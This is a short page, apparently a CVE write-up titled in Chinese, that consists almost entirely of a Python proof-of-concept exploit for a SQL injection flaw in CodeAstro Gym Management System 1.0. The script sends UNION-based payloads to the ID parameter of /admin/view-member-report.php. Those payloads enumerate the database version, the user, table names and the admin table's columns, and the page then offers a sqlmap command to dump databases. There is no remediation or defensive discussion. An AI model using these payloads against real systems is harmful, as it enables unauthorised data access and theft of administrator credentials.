CVE-2025-13172 CodeAstro Gym Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13172 SQL Injection PoC for CodeAstro Gym Management System 1.0 # Target: /admin/view-member-report.php # Payload: ID parameter is vulnerable to SQL injection def exploit_sqli(target_url, member_id): """ Exploit SQL injection vulnerability in CodeAstro Gym Management System target_url: Base URL of the vulnerable application member_id: Member ID to test (e.g., 1 OR 1=1) """ # Construct the vulnerable URL vuln_url = f"{target_url}/admin/view-member-report.php" # Basic SQL injection payloads for testing payloads = [ f"{member_id}", f"{member_id}' OR '1'='1", f"{member_id}' UNION SELECT NULL--", f"{member_id}' UNION SELECT NULL,NULL--", f"{member_id}' UNION SELECT version(),user()--", f"{member_id}' UNION SELECT table_name,NULL FROM information_schema.tables--", f"{member_id}' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='admin'--" ] print(f"[*] Target: {vuln_url}") print(f"[*] Testing SQL Injection payloads...") for i, payload in enumerate(payloads, 1): params = {'ID': payload} try: response = requests.get(vuln_url, params=params, timeout=10) print(f"[+] Payload {i}: {payload}") print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for SQL errors in response if 'SQL syntax' in response.text or 'mysql' in response.text.lower(): print(f" [!] Potential SQL injection detected!") except requests.RequestException as e: print(f"[-] Error with payload {i}: {str(e)}") print("\n[*] Manual verification recommended with tools like sqlmap") print("[*] Example sqlmap command:") print(f" sqlmap -u '{vuln_url}?ID=1' --dbs --batch") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13172.py <target_url>") print("Example: python cve-2025-13172.py http://target.com/gym") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target, 1)